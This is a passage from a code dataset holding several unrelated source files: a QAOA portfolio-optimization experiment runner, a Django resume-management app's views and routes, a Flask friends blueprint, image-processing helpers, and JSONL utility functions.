2021\nSAMPLE_COUNT = 1024\nRESULTS_FOLDER = \"exp_results\"\n\ntickers_labels_all = [\n 'AAPL',\n 'MSFT',\n 'AMZN',\n 'TSLA',\n 'GOOGL',\n 'BRK-B',\n 'FB',\n 'UNH',\n 'JNJ',\n 'JPM',\n 'V',\n 'CVX',\n]\n\nbetter = [\n 'ibmq_bogota',\n 'ibmq_santiago',\n 'ibmq_quito',\n 'ibmq_belem',\n 'ibmq_manila'\n]\nlookup = [ provider.get_backend(x) for x in better]\n\niters = [\n 1,\n 5,\n 10,\n 50,\n 100,\n 250,\n 500,\n]\n\nopts = [\n opts.COBYLA,\n opts.ADAM,\n opts.POWELL,\n opts.SLSQP,\n opts.NELDER_MEAD,\n]\n\nqubits = [\n 5,\n 6,\n 7,\n 8,\n 9,\n 10,\n 11,\n]\n\npp = [\n 1,\n 2,\n 3,\n 4,\n 5,\n]\n\nexps = list(itertools.product(lookup, iters, opts, qubits, pp))\nfor x in exps:\n print(x)\nprint(len(x))\n\nnum_assets = 0\nrows = []\n\ndef get_qp(n):\n global num_assets\n tickers_labels = tickers_labels_all[:n]\n def normalize(v):\n return (v / np.linalg.norm(v)) * 100.0\n\n tickers = pd.DataFrame(tickers_labels, columns = ['Symbol'])\n\n data = YahooDataProvider(\n tickers.Symbol.to_list(),\n start=datetime.datetime(YEAR, 1, 1),\n end=datetime.datetime(YEAR, 12, 31),\n )\n data.run()\n mu = data.get_period_return_mean_vector()\n sigma = data.get_period_return_covariance_matrix()\n\n num_assets = len(tickers)\n q = 0.5\n budget = num_assets // 2\n penalty = num_assets\n\n portfolio = PortfolioOptimization(\n expected_returns=mu, covariances=sigma, risk_factor=q, budget=budget\n )\n qp = portfolio.to_quadratic_program()\n\n return qp\n\ndef index_to_selection(i, num_assets):\n s = \"{0:b}\".format(i).rjust(num_assets)\n x = np.array([1 if s[i] == \"1\" else 0 for i in reversed(range(num_assets))])\n return x\n\ndef save_real_result(result, backend_name, iter_count, optimizer, qubits_count, qaoa_depth):\n global rows\n row = {}\n row['selection'] = ''.join(str(int(x)) for x in result.x)\n row['value'] = result.fval\n eigenstate = result.min_eigen_solver_result.eigenstate\n\n for i in range(2**num_assets):\n s = ''.join(str(x) for x in index_to_selection(i, num_assets)) \n row[s] = eigenstate.get(s, 0.0) ** 2\n\n rows.append(row)\n df = pd.DataFrame(rows)\n df.to_csv('{}/results_{}_{}_{}_{}_{}_{}.csv'.format(\n RESULTS_FOLDER,\n qaoa_depth,\n qubits_count,\n optimizer.__name__,\n backend_name,\n iter_count,\n '_'.join(t for t in tickers_labels_all[:qubits_count])\n ), index=False)\n\nif not os.path.exists(RESULTS_FOLDER):\n os.makedirs(RESULTS_FOLDER)\n\nfor backend, iter_count, optimizer, qubits_count, qaoa_depth in exps:\n backend_name = str(backend)\n print(backend_name, iter_count, optimizer, qubits_count)\n\n qp = get_qp(qubits_count)\n\n noise_model = NoiseModel.from_backend(backend)\n backend = AerSimulator(\n method='density_matrix',\n noise_model=noise_model\n )\n\n for _ in tqdm.tqdm(range(SAMPLE_COUNT), leave=False):\n\n optimizer_inst = optimizer()\n optimizer_inst.set_options(maxiter=iter_count)\n\n quantum_instance = QuantumInstance(backend=backend, seed_simulator=42, seed_transpiler=42)\n\n qaoa_mes = QAOA(optimizer=optimizer_inst, reps=qaoa_depth, quantum_instance=quantum_instance)\n qaoa = MinimumEigenOptimizer(qaoa_mes)\n\n result = qaoa.solve(qp)\n\n save_real_result(result, backend_name, iter_count, optimizer, qubits_count, qaoa_depth)\n","repo_name":"drinkertea/QAOA-Portfolio-optimization-results","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":4202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30008218388","text":"import csv\nimport json\n\nwith open('playgrounds.csv', mode='r', encoding='utf-8') as file:\n data_csv, temp = csv.DictReader(file, delimiter=';'), {}\n for row in data_csv:\n temp.setdefault(row['AdmArea'], {}).setdefault(row['District'], []).append(row['Address'])\n\nwith open('addresses.json', mode='w', encoding='utf-8') as save_file:\n json.dump(temp, save_file, indent=' ', ensure_ascii=False)\n\n","repo_name":"lockiz/-stepik_tests_course","sub_path":"4_Working_with_files/json_step_11/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71559537442","text":"from django.contrib import admin\r\nfrom django.urls import path\r\nfrom user import views\r\napp_name = \"user\"\r\n\r\nurlpatterns = [\r\n path('register/', views.registerPage, name=\"registerPage\"),\r\n path('delete/', views.userDelete, name=\"userDelete\"),\r\n path('login/', views.loginPage, name=\"loginPage\"),\r\n path('logout/', views.logoutPage, name=\"logoutPage\"),\r\n path('follow/', views.followUser, name=\"followUser\"),\r\n path('unfollow/', views.unfollowUser, name=\"unfollowUser\"),\r\n path('dashboard/', views.dashboardPage, name=\"dashboardPage\"),\r\n path('settings/', views.settingsPage, name=\"settingsPage\"),\r\n path('/', views.userProfile, name=\"userProfile\"),\r\n]\r\n","repo_name":"barisanik/djangoblogapp","sub_path":"user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"32288187066","text":"import numpy,scipy\n\n# ================ #\n# Helper functions #\n# =================#\ndef _symmetrize(M,cx,cy):\n M_new = M.copy()\n M_new *= _turn180(M,cx,cy)\n return M_new\n \ndef _turn180(img,cx=None,cy=None):\n if cx == None:\n cx1 = (img.shape[0]-1)/2\n if cy == None:\n cy1 = (img.shape[0]-1)/2\n cx1 = round(cx*2)/2.\n cy1 = round(cy*2)/2.\n Nx1 = int(2*min([cx1,img.shape[1]-1-cx1]))+1\n Ny1 = int(2*min([cy1,img.shape[0]-1-cy1]))+1\n y_start = int(round(cy1-(Ny1-1)/2.))\n y_stop = int(round(cy1+(Ny1-1)/2.))+1\n x_start = int(round(cx1-(Nx1-1)/2.))\n x_stop = int(round(cx1+(Nx1-1)/2.))+1\n img_new = numpy.zeros(shape=(img.shape[0],img.shape[1]),dtype=img.dtype)\n img_new[y_start:y_stop,x_start:x_stop] = numpy.rot90(numpy.rot90(img[y_start:y_stop,x_start:x_stop]))\n return img_new\n\ndef _gaussian_smooth_2d1d(I,sm,precision=1.):\n N = 2*int(numpy.round(precision*sm))+1\n if len(I.shape) == 2:\n kernel = numpy.zeros(shape=(N,N))\n X,Y = numpy.meshgrid(numpy.arange(0,N,1),numpy.arange(0,N,1))\n X = X-N/2\n kernel = numpy.exp(X**2/(2.0*sm**2))\n kernel /= kernel.sum()\n Ism = scipy.signal.convolve2d(I,kernel,mode='same',boundary='wrap')\n return Ism\n elif len(I.shape) == 1:\n print(\"Error input\")\n return []\n\ndef _radial(image,f=numpy.mean,shell_thickness=1.0,**kwargs):\n \"\"\"\n Radial integration in N-dimensions. Assumes the input array has the same size in all dimensions. \n Default integration method is the mean. \n \"\"\"\n n_dim = len(image.shape) \n im_dim = image.shape[0] \n im_center = image.shape[0]//2\n num_shells = int((im_dim-im_center)/shell_thickness) \n\n c = numpy.array([im_center, im_center, im_center]) \n \n r_out = numpy.arange(shell_thickness, (num_shells+1) * shell_thickness, shell_thickness) \n r_in = r_out - 1 \n \n if n_dim == 2: \n image = image[:,:,None] \n c = numpy.array([im_center, im_center, 0]) \n elif n_dim == 1:\n image = image[:,None,None] \n c = numpy.array([im_center, 0, 0]) \n\n x, y, z = numpy.meshgrid(numpy.arange(image.shape[0]), numpy.arange(image.shape[1]), numpy.arange(image.shape[2]), indexing='ij')\n radial_mask = (((x - c[0]) ** 2 + (y - c[1]) ** 2 + (z - c[2]) ** 2 >= r_in[:, None, None, None] ** 2) \n & ((x - c[0]) ** 2 + (y - c[1]) ** 2 + (z - c[2]) ** 2 < r_out[:, None, None, None] ** 2))\n\n prtf_r = numpy.array([f(numpy.squeeze(image[shell])) for shell in radial_mask]) \n return prtf_r[numpy.isfinite(prtf_r)] \ndef radial(image, **kwargs): \n return _radial(image,**kwargs)\n\ndef cone_pixel_average(image,N_theta,cx=None,cy=None):\n [R,Theta] = get_R_and_Theta_map(image.shape[1],image.shape[0],cx,cy)\n R[numpy.isfinite(image) == False] = -1\n radii = numpy.arange(R.min(),R.max()+1,1)\n if radii[0] == -1:\n radii = radii[1:]\n values = numpy.zeros(shape=(N_theta,len(radii)))\n for j in range(0,N_theta):\n theta_min = j/(1.0*N_theta)*2.0*numpy.pi\n theta_max = (j+1)/(1.0*N_theta)*2.0*numpy.pi\n theta_center = (theta_max+theta_min)/2.0\n theta_interval = theta_max-theta_min\n theta_image = image[abs(Theta-theta_center)<=theta_interval/2.0]\n theta_R = R[abs(Theta-theta_center)<=theta_interval/2.0]\n for i in range(0,len(radii)):\n temp = theta_image[theta_R==radii[i]].copy()\n temp = temp[numpy.isfinite(temp)]\n values[j,i] = temp.mean()\n return [radii,values]\n","repo_name":"FXIhub/libspimage","sub_path":"src/_spimage_utils.py","file_name":"_spimage_utils.py","file_ext":"py","file_size_in_byte":3537,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"41766321432","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nfrom django.shortcuts import render\nfrom django.http import JsonResponse, HttpResponse\nfrom django import conf\nfrom django.http import QueryDict\nfrom repository import models\nfrom django.contrib.auth.decorators import login_required\nfrom Permission.Authentication import check_permission\nfrom HttpCode.StatusCode import StatusCode\nfrom Forms.resume import ResumeInfoFrom\nimport datetime, re, shutil, json, os, time, requests\nfrom django.utils.safestring import mark_safe\nfrom Events import tasks, EventCode\nimport pytz, uuid, datetime\ntz = pytz.timezone('Asia/Shanghai')\n\ndef _TimeRange(old_time):\n ## 当前时间\n tz = pytz.timezone('Asia/Shanghai')\n now_time = datetime.datetime.now(tz)\n CurrentTimeDifference = (now_time - old_time)\n CurrentTimeDifference = CurrentTimeDifference + datetime.timedelta(hours=+8)\n if CurrentTimeDifference.seconds < 10 and CurrentTimeDifference.days <= 0:\n return \"刚刚\"\n elif CurrentTimeDifference.seconds < 60 and CurrentTimeDifference.days <= 0:\n return \"1 分钟内\"\n elif CurrentTimeDifference.seconds < 180 and CurrentTimeDifference.days <= 0:\n return \"3 分内\"\n elif CurrentTimeDifference.seconds < 600 and CurrentTimeDifference.days <= 0:\n return \"10 分钟内\"\n elif CurrentTimeDifference.seconds < 1800 and CurrentTimeDifference.days <= 0:\n return \"30 分钟内\"\n elif CurrentTimeDifference.seconds/60 <= 60 and CurrentTimeDifference.days <= 0:\n return \"1 小时内\"\n elif CurrentTimeDifference.seconds/60 <= 180 and CurrentTimeDifference.days <= 0:\n return \"3 小时内\"\n elif CurrentTimeDifference.days < 0:\n return \"今天\"\n elif CurrentTimeDifference.days <= 1:\n return \"昨天\"\n elif CurrentTimeDifference.days <= 3:\n return \"3 天内\"\n elif CurrentTimeDifference.days <= 7:\n return \"1 周内\"\n elif CurrentTimeDifference.days <= 31:\n return \"1 个月内\"\n elif CurrentTimeDifference.days <= 180:\n return \"半年内\"\n elif CurrentTimeDifference.days <= 365:\n return \"1 年内\"\n elif CurrentTimeDifference.days >= 365:\n return \"1 年前\"\n\ndef SetManytoManyField_inHTMLs(objs, value):\n data = ''\n if objs.values(value)[0][value]:\n lists = list(objs.values(value))[0][value].split(\"\\n\")\n for item in lists:\n data += \"\"\"

{}

\"\"\".format(item)\n return data\n\ndef SetManytoManyField_inStrs(objs, value):\n data = ''\n if objs.values(value)[0][value]:\n lists = list(objs.values(value))[0][value].split(\"\\n\")\n for item in lists:\n data += \"\"\"{}\"\"\".format(item)\n return data\n\n# @login_required\n# @check_permission(StatusCode[\"1407\"])\ndef GetResumeInfoView(request, obj_id):\n ret = {\"status\": \"seccuss\", \"status_code\": \"200\"}\n\n _auth = request.GET.get(\"view\", None)\n mandatory = True if request.GET.get(\"force\", False) == \"True\" or request.GET.get(\"force\", False) == \"true\" else False\n force = False\n\n if _auth:\n obj = models.ResumeInfo.objects.get(id=obj_id)\n objs= models.ResumeInfo.objects.filter(id=obj_id)\n\n if not mandatory:\n if objs.values_list(\"agent\", flat=True)[0]:\n owner = list(objs.values_list(\"agent__email\", flat=True))[0]\n if not request.user.email == owner:\n ret[\"status_code\"] = \"201\"\n ret[\"event\"] = \"edit\"\n force = True\n\n # 格式化数据到标头\n objs_resume_source = list(objs.values(\"resume_source__name\"))[0][\"resume_source__name\"]\n objs_upload_user = list(objs.values(\"upload_user__name\"))[0][\"upload_user__name\"]\n objs_agent = list(objs.values(\"agent__name\"))[0][\"agent__name\"]\n \n uid = obj_id\n return render(request, \"resume-info-edit-page.html\", locals())\n\n if request.method == \"GET\":\n # 对象数据\n obj = models.ResumeInfo.objects.get(id=obj_id)\n objs= models.ResumeInfo.objects.filter(id=obj_id)\n\n # 格式化数据到标头\n objs_resume_source = list(objs.values(\"resume_source__name\"))[0][\"resume_source__name\"]\n objs_upload_user = list(objs.values(\"upload_user__name\"))[0][\"upload_user__name\"]\n objs_agent = list(objs.values(\"agent__name\"))[0][\"agent__name\"]\n objs_zh_filename = list(objs.values(\"zh_filename__name\"))[0][\"zh_filename__name\"]\n zh_filename_name = os.path.basename(objs_zh_filename)\n objs_en_filename = list(objs.values(\"en_filename__name\"))[0][\"en_filename__name\"] if objs.values(\"en_filename__name\") else \"\"\n if objs_en_filename:\n en_filename_name = os.path.basename(objs_en_filename)\n else:\n en_filename_name = \"\"\n\n # 工作/教育/项目 等经历格式化 Html 数据\n objs_work_info_ele = SetManytoManyField_inHTMLs(objs, \"work_info__describe\")\n objs_project_info_ele = SetManytoManyField_inHTMLs(objs, \"project_info__describe\")\n objs_education_info_ele = SetManytoManyField_inHTMLs(objs, \"education_info__describe\")\n objs_personal_assessment_ele = SetManytoManyField_inHTMLs(objs, \"personal_assessment__describe\")\n objs_personal_assessment_str = SetManytoManyField_inStrs(objs, \"personal_assessment__describe\")\n objs_comprehensive_ability_ele = SetManytoManyField_inHTMLs(objs, \"comprehensive_ability__describe\")\n\n # 获取 Resume Source Html\n obj_resume_source = models.ResumeSource.objects.all().values_list(\"name\")\n ele = \"\"\n if obj_resume_source:\n for i in list(obj_resume_source):\n for j in i:\n ele += \"\".format(j, j)\n ele = mark_safe(ele)\n \n uid = obj_id\n\n form_obj = ResumeInfoFrom(instance=obj)\n \n # 评论\n comments_ele = \"\"\n for item in list(models.Comment.objects.filter(id__in=objs.values_list(\"user_comments\", flat=True)).order_by(\"create_time\").values(\"user\", \"create_time\", \"describe\")):\n comments_ele += \"\"\"
\n
\n \"\"\n
\n

{}

\n

{}

\n

{}

\n
\n
\"\"\".format(\n os.path.join(\"/static\", \n models.UserProfile.objects.filter(id=item[\"user\"]).values_list(\"head_portrait\", flat=True)[0]), \n models.UserProfile.objects.get(id=item[\"user\"]).name, \n item[\"describe\"].replace(\"<\", \"<\").replace(\">\", \">\"),\n (item[\"create_time\"] + datetime.timedelta(hours=+8)).strftime('%y/%m/%d %H:%M:%S'),\n )\n comments_ele = mark_safe(comments_ele)\n\n # 订阅\n subscribe_obj = models.ResumeSubscription.objects.filter(user_id=request.user.id, resume_id=obj_id, status=True).exists()\n\n # 操作记录\n OperationRecords = models.EventLog.objects.filter(target_object=obj.uuid).order_by(\"-trigger_time\").values(\"user__email\", \"trigger_time\", \"describe\")\n\n ## Time 状态\n operation_records_ele = ''\n operation_records_ele_the_day_time_title = \"\"\"\"\"\"\n\n operation_records_ele += operation_records_ele_the_day_time_title\n operation_records_ele_template = \"\"\"
\n
\n
\n
\n \n \n

{}

\n

{}

\n

{}

\n
\n
\n
\n
\"\"\"\n\n # 调色板\n style_list = [\"primary\", \"pink\", \"success\", \"danger\", \"warning\", \"info\", \"purple\"]\n\n for index, item in enumerate(list(OperationRecords)):\n if (index % 2) == 0:\n operation_records_ele += operation_records_ele_template.format(\n \"\",\n style_list[index],\n _TimeRange(item[\"trigger_time\"] + datetime.timedelta(hours=+8)), \n (item[\"trigger_time\"] + datetime.timedelta(hours=+8)).strftime('%y/%m/%d %H:%M'),\n item[\"describe\"],\n )\n else:\n operation_records_ele += operation_records_ele_template.format(\n \"alt\", \n style_list[index],\n _TimeRange(item[\"trigger_time\"] + datetime.timedelta(hours=+8)), \n (item[\"trigger_time\"] + datetime.timedelta(hours=+8)).strftime('%y/%m/%d %H:%M'),\n item[\"describe\"],\n )\n style_list.append(style_list[index])\n\n # lock iocn\n lock_iocn = models.CustomLabel.objects.get(name=\"unlock\").code\n protection = \"info\"\n TrackStatus = \"Track\"\n\n for item in list(objs.values(\"custom_label__name\")):\n if \"lock\" == item[\"custom_label__name\"]:\n lock_iocn = models.CustomLabel.objects.get(name=item[\"custom_label__name\"]).code\n for i in list(objs.values(\"agent__email\")):\n agent_owner = i[\"agent__email\"]\n if agent_owner != None:\n protection = \"warning\"\n TrackStatus = \"Cancel\"\n\n return render(request, 'resume-info.html', locals())\n\n# 删除详细简历\ndef DeleteCandidate(request, uid):\n ret = {\"status\": \"seccuss\", \"status_code\": \"200\"}\n _access = request.META.get('HTTP_X_REAL_IP') or request.META.get('HTTP_REMOTE_ADD') or request.META.get('REMOTE_ADDR')\n \n # ManyToMany Field\n AssociatedFields = [\n \"ResumeName\",\n \"PersonalAssessment\",\n \"EducationInfo\",\n \"ProjectInfo\",\n \"WorkInfo\",\n \"Comment\",\n \"ResumeSourceText\",\n \"ComprehensiveAbility\",\n ]\n\n if request.method == \"POST\":\n obj = models.ResumeInfo.objects.filter(id=int(uid))\n\n if obj.exists():\n models.ResumeName.objects.filter(fne__id=int(uid)).delete()\n models.ResumeName.objects.filter(efne__id=int(uid)).delete()\n models.PersonalAssessment.objects.filter(pa__id=int(uid)).delete()\n models.EducationInfo.objects.filter(ei__id=int(uid)).delete()\n models.ProjectInfo.objects.filter(pi__id=int(uid)).delete()\n models.WorkInfo.objects.filter(wi__id=int(uid)).delete()\n models.Comment.objects.filter(cts__id=int(uid)).delete()\n models.ResumeSourceText.objects.filter(rt__id=int(uid)).delete()\n models.ComprehensiveAbility.objects.filter(ceay__id=int(uid)).delete()\n\n _describe = EventCode.EventCode[\"Resume.Delete\"][\"zh\"][\"seccess\"].format(request.user, obj.last().id, obj.last().username)\n _status = 1\n _event_record = tasks.CommonRecordEventLog.delay(\n uuid=obj.last().uuid, \n user_id=request.user.id, \n event_type=EventCode.EventCode[\"Resume.Delete\"][\"type\"],\n label=EventCode.EventCode[\"Resume.Delete\"][\"label\"], \n request=None, \n response=None, \n describe=_describe, \n status=_status,\n access=_access,\n source=request.user.uuid,\n target=obj.last().uuid,\n )\n\n obj.delete()\n\n return JsonResponse(ret)\n\n# 修改详细简历\ndef EditResumeView(request, uid):\n ret = {\"status\": \"seccuss\", \"status_code\": \"200\"}\n _access = request.META.get('HTTP_X_REAL_IP') or request.META.get('HTTP_REMOTE_ADD') or request.META.get('REMOTE_ADDR')\n \n data = QueryDict(request.POST.urlencode(), mutable=True)\n\n # ManyToMany Field\n AssociatedFields = [\n \"personal_assessment\",\n \"work_info\",\n \"education_info\",\n \"project_info\",\n \"raw_text\",\n \"comprehensive_ability\",\n \"upload_user\",\n ]\n\n MoreTable = {}\n obj = models.ResumeInfo.objects.filter(id=uid)\n\n if request.method == \"POST\":\n try:\n for i in request.POST:\n if i in AssociatedFields:\n MoreTable[i] = request.POST.get(i, None)\n data.pop(i)\n if data:\n obj.update(**data.dict())\n\n if MoreTable:\n for item in MoreTable:\n instance = getattr(obj[0], item)\n instance.update(describe=MoreTable[item])\n _describe = EventCode.EventCode[\"Resume.Update.Info\"][\"zh\"][\"seccess\"].format(request.user, obj.last().id, obj.last().username)\n _status = 1\n _event_record = tasks.CommonRecordEventLog.delay(\n uuid=obj.last().uuid, \n user_id=request.user.id, \n event_type=EventCode.EventCode[\"Resume.Update.Info\"][\"type\"],\n label=EventCode.EventCode[\"Resume.Update.Info\"][\"label\"], \n request=None, \n response=None, \n describe=_describe, \n status=_status,\n access=_access,\n source=request.user.uuid,\n target=obj.last().uuid,\n )\n obj.update(modify_time=datetime.datetime.now(tz))\n except:\n _describe = EventCode.EventCode[\"Resume.Update.Info\"][\"zh\"][\"failed\"].format(request.user, obj.last().id, obj.last().username)\n _status = 2\n _event_record = tasks.CommonRecordEventLog.delay(\n uuid=obj.last().uuid, \n user_id=request.user.id, \n event_type=EventCode.EventCode[\"Resume.Update.Info\"][\"type\"],\n label=EventCode.EventCode[\"Resume.Update.Info\"][\"label\"], \n request=None, \n response=None, \n describe=_describe, \n status=_status,\n access=_access,\n source=request.user.uuid,\n target=obj.last().uuid,\n )\n return JsonResponse(ret)\n\n# 评论\ndef SaveResumeCommands(request):\n ret = {\"status\": \"seccuss\", \"status_code\": \"200\"}\n _access = request.META.get('HTTP_X_REAL_IP') or request.META.get('HTTP_REMOTE_ADD') or request.META.get('REMOTE_ADDR')\n\n data = {}\n if request.method == \"POST\":\n for i in request.POST:\n if i in (\"resume_id\"):\n pass\n else:\n data[i] = request.POST.get(i)\n\n _query_resume = models.ResumeInfo.objects.filter(id=request.POST.get(\"resume_id\")).first()\n \n data[\"uuid\"] = _query_resume.uuid\n _obj = models.Comment.objects.create(**data)\n _query_resume.user_comments.add(_obj)\n \n _describe = EventCode.EventCode[\"Resume.Command\"][\"zh\"][\"seccess\"].format(request.user, _query_resume.username)\n _status = 1\n _event_record = tasks.CommonRecordEventLog.delay(\n uuid=_obj.uuid, \n user_id=request.user.id, \n event_type=EventCode.EventCode[\"Resume.Command\"][\"type\"],\n label=EventCode.EventCode[\"Resume.Command\"][\"label\"], \n request=None, \n response=None, \n describe=_describe, \n status=_status,\n access=_access,\n source=request.user.uuid,\n target=_obj.uuid,\n )\n else:\n ret[\"status_code\"] = 403\n ret[\"status\"] = \"failed\"\n return JsonResponse(ret)\n\n# 收藏订阅\ndef ResumeSubscription(request):\n _access = request.META.get('HTTP_X_REAL_IP') or request.META.get('HTTP_REMOTE_ADD') or request.META.get('REMOTE_ADDR')\n\n ret = {\"status\": \"seccuss\", \"status_code\": \"200\", \"event\": \"subscribe\"}\n if request.method == \"POST\":\n unsubscribe = True if request.POST.get(\"unsubscribe\", False) == \"True\" else False\n if unsubscribe:\n obj = models.ResumeSubscription.objects.filter(user_id=request.user.id, resume_id=request.POST.get(\"sub_obj\")).update(status=False)\n ret[\"event\"] = \"unsubscribe\"\n else:\n obj = models.ResumeSubscription.objects.filter(user_id=request.user.id, resume_id=request.POST.get(\"sub_obj\"))\n if not obj.exists():\n data = {\"resume\": models.ResumeInfo.objects.get(id=request.POST.get(\"sub_obj\")), \"user\": request.user}\n models.ResumeSubscription.objects.create(**data)\n else:\n obj.update(status=True, trigger_time=datetime.datetime.now(tz))\n return JsonResponse(ret)\n\n# Track Resume\ndef TrackResume(request):\n _access = request.META.get('HTTP_X_REAL_IP') or request.META.get('HTTP_REMOTE_ADD') or request.META.get('REMOTE_ADDR')\n ret = {\"status\": \"seccuss\", \"status_code\": \"200\", \"event\": \"TrackResume\", \"describe\": \"\"}\n\n if request.method == \"POST\":\n obj_id = request.POST.get(\"id\", None)\n CancelTrack = True if request.POST.get(\"CancelTrack\", False) == \"True\" else False\n obj = models.ResumeInfo.objects.filter(id=obj_id)\n\n for item in list(obj.values_list(\"custom_label__name\", flat=True)):\n if item == \"lock\":\n if request.user.id != list(obj[0].upload_user.values_list(\"id\", flat=True))[0]:\n ret[\"status_code\"] = \"403\"\n ret[\"status\"] = \"failed\"\n ret[\"describe\"] = \"此简历还在保护期,请稍后尝试!\"\n return JsonResponse(ret)\n\n if obj_id:\n if not CancelTrack:\n if not obj[0].agent.name:\n obj[0].agent.set(str(request.user.id))\n obj[0].custom_label.add(1)\n obj[0].custom_label.remove(3)\n ret[\"describe\"] = \"已成功追踪此份简历!\"\n\n _describe = EventCode.EventCode[\"Resume.Track\"][\"zh\"][\"seccess\"].format(request.user, obj[0].id, obj[0].username, \"追踪\")\n _status = 1\n _event_record = tasks.CommonRecordEventLog.delay(\n uuid=obj[0].uuid, \n user_id=request.user.id, \n event_type=EventCode.EventCode[\"Resume.Track\"][\"type\"],\n label=EventCode.EventCode[\"Resume.Track\"][\"label\"], \n request=None, \n response=None, \n describe=_describe, \n status=_status,\n access=_access,\n source=request.user.uuid,\n target=obj[0].uuid,\n )\n else:\n ret[\"status_code\"] = 403\n ret[\"status\"] = \"failed\"\n ret[\"describe\"] = \"此简历已经被 {} 跟踪,请联系后尝试进行追踪!\"\n else:\n obj[0].agent.clear()\n obj[0].custom_label.remove(1)\n obj[0].custom_label.add(3)\n ret[\"describe\"] = \"已经对此份简历取消追踪!\"\n _describe = EventCode.EventCode[\"Resume.Track\"][\"zh\"][\"seccess\"].format(request.user, obj[0].id, obj[0].username, \"取消追踪\")\n _status = 1\n _event_record = tasks.CommonRecordEventLog.delay(\n uuid=obj[0].uuid, \n user_id=request.user.id, \n event_type=EventCode.EventCode[\"Resume.Track\"][\"type\"],\n label=EventCode.EventCode[\"Resume.Track\"][\"label\"], \n request=None, \n response=None, \n describe=_describe, \n status=_status,\n access=_access,\n source=request.user.uuid,\n target=obj[0].uuid,\n )\n\n\n return JsonResponse(ret)\n\n","repo_name":"slzcc/ResumeCRM","sub_path":"Resume/views/resume_info.py","file_name":"resume_info.py","file_ext":"py","file_size_in_byte":20461,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"45875589507","text":"from flask import Blueprint,render_template,request,flash,redirect,session,make_response\nfrom blueprint.ud.ud_forms import FriendForm\nfrom app import db\nfrom app.db_models import Users,Friends\nfrom werkzeug import secure_filename\n\n#Create blueprint\n#First argumetn is the name of the blueprint folder\n#Secon is always __name__ attribute\n#Third parameter tells what folder contains your templates\n#url_prefix('/app/') määrittää yleisen prefixin kaikille routeille, niin ei tarvitse kirjoittaa kokonaan jokaiseen. Ei välttämätön\nud = Blueprint('ud',__name__,template_folder='templates',url_prefix=('/app/'))\n\n#/app/delete\n@ud.route('delete/')\ndef delete(id):\n return \"Delete\"\n\n@ud.route('update')\ndef update():\n return \"Update\"\n\n@ud.route('friends',methods=['GET','POST'])\ndef friends():\n form = FriendForm()\n if request.method == 'GET':\n return render_template('template_friends.html',form=form,isLogged=True)\n else:\n if form.validate_on_submit():\n temp = Friends(form.name.data,form.address.data,form.age.data,session['user_id'])\n #Save the image if present\n if form.upload_file.data:\n filename = secure_filename(form.upload_file.data.filename)\n form.upload_file.data.save('app/static/images/' + filename)\n temp.filename = '/static/images/' + filename\n db.session.add(temp)\n db.session.commit()\n #tapa 2: \n #Users -modeliin on määritetty db.relationship -> sisältää friends -tiedot\n user = Users.query.get(session['user_id']) #Luo päivitetyn friends -listan ja alla renderöi sen uudelleen\n print(user.friends)\n return render_template('template_user.html',isLogged=True,friends=user.friends)\n else:\n flash('Give proper values to all fields')\n return render_template('template_friends.html',form=form,isLogged=True)\n\n\ndef before_request():\n if not 'isLogged' in session:\n return redirect('/')\n\n#Määrittää, että def before_request(): -funktiota kutsutaan aina ensimmäisen ennen minkään routen suorittamista. \n#(session -objektissa on olemassa before_request -moduuli)\nud.before_request(before_request) ","repo_name":"mhgit1/PythonFlask_oma","sub_path":"blueprint/ud/ud_blueprint.py","file_name":"ud_blueprint.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3500737742","text":"import logging\nimport json\nimport pathlib\nimport tempfile\n\nfrom typing import Any, Callable, Dict, List, Optional, Tuple\n\nlogger = logging.getLogger(__name__)\n\n\ndef load_jsonl(file_path: pathlib.Path, source_encoding: str) -> List[Dict[str, Any]]:\n result = []\n logger.info(f\"Loading JSON file: {file_path}\")\n with open(file_path, \"r\", encoding=source_encoding) as jlf:\n current_line = 0\n for l in jlf:\n logger.info(f\"Processing line: {current_line}\")\n nxt = json.loads(l)\n result.append(nxt)\n current_line += 1\n return result\n\n\ndef save_jsonl(\n file_path: pathlib.Path, data: List[Dict[str, Any]], destination_encoding: str\n):\n logger.info(f\"Saving file {file_path}\")\n with open(file_path, \"w\", encoding=destination_encoding) as out_file:\n for i, d in enumerate(data):\n logger.info(f\"Writing element {i}\")\n d_str = json.dumps(d)\n out_file.write(d_str)\n out_file.write(\"\\n\")\n\n\ndef line_map(\n *,\n map_func: Callable[[Dict[str, Any]], Dict[str, Any]],\n source_file: pathlib.Path,\n dest_file: pathlib.Path,\n source_encoding: str,\n dest_encoding: str,\n error_file: Optional[pathlib.Path] = None,\n error_encoding: Optional[str] = None,\n) -> Tuple[int, int]:\n \"\"\"Iterate over a JSONL file, applying map_func to each line\"\"\"\n assert source_file.exists()\n\n # If error_file is not specified, set up a temporary file\n def get_error_file(error_file_path: Optional[pathlib.Path]):\n if error_file_path:\n return open(error_file_path, \"a\", encoding=error_encoding)\n else:\n return tempfile.TemporaryFile(mode=\"w\", encoding=\"utf-8-sig\")\n\n successful_lines = 0\n error_lines = 0\n with open(source_file, \"r\", encoding=source_encoding) as in_file:\n with open(dest_file, \"w\", encoding=dest_encoding) as out_file:\n with get_error_file(error_file) as err_file:\n current_line = 0\n for nxt in in_file:\n logger.info(f\"Processing line: {current_line}\")\n nxt_dict = json.loads(nxt)\n try:\n nxt_output = map_func(nxt_dict)\n nxt_output_string = json.dumps(nxt_output)\n logger.info(f\"Writing output: {nxt_output_string}\")\n out_file.write(nxt_output_string)\n out_file.write(\"\\n\")\n successful_lines += 1\n except Exception as e:\n logger.warn(f\"Caught exception: {e}\")\n err_file.write(nxt)\n error_lines += 1\n current_line += 1\n logger.info(\n f\"line_map complete ({successful_lines} 